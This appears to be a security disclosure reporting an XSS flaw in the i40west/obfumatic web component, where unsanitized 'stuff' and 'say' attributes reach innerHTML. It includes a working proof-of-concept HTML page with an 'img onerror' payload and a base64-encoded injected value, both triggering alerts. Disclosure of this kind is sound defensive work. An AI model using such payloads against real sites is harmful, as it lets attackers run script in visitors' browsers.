Potential XSS injection in stuff and say attributes in i40west/obfumatic
Reported on
Jul 15th 2023
Description
The stuff
and say
attributes are not sanitized before being used in innerHTML
. Because of this, they could be used to inject arbitrary JS in the page.
Proof of Concept
<!DOCTYPE html>
<html lang="en">
<head>
<title>obfumatic XSS</title>
<script type="module" src="obfumatic.js"></script>
</head>
<body>
<obfu-matic stuff="SWo0OGFXMW5JSE55WXoxNElHOXVaWEp5YjNJOUoyRnNaWEowS0dCNGMzTWdhVzRnYzNSMVptWmdLU2Mr" say="<img src=x onerror='alert(`xss in say`)'>">Fallback text</obfu-matic>
</body>
</html>
Impact
If a website using this library allows users to generate <obfu-matic>
tags (for example in comments), an attacker could use this to inject dangerous JS into the page.
SECURITY.md
4 months ago